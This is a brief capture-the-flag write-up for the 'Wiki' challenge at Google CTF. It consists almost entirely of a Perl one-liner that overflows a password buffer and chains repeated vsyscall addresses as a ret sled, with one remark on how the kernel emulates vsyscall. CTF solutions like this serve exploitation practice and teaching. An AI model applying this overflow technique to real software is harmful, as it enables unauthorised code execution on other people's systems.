"Writeup" for Wiki at #GoogleCTF
perl -e 'print "USER\n1MB\@tMaN\nPASS\n"."a"x152 .pack("Q",0xffffffffff600000)x23 ."\n"."\0"x8 ."\n"'
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you can see that the kernel emulates the whole function, including syscall and return, and generates segfaults on -EFAULT
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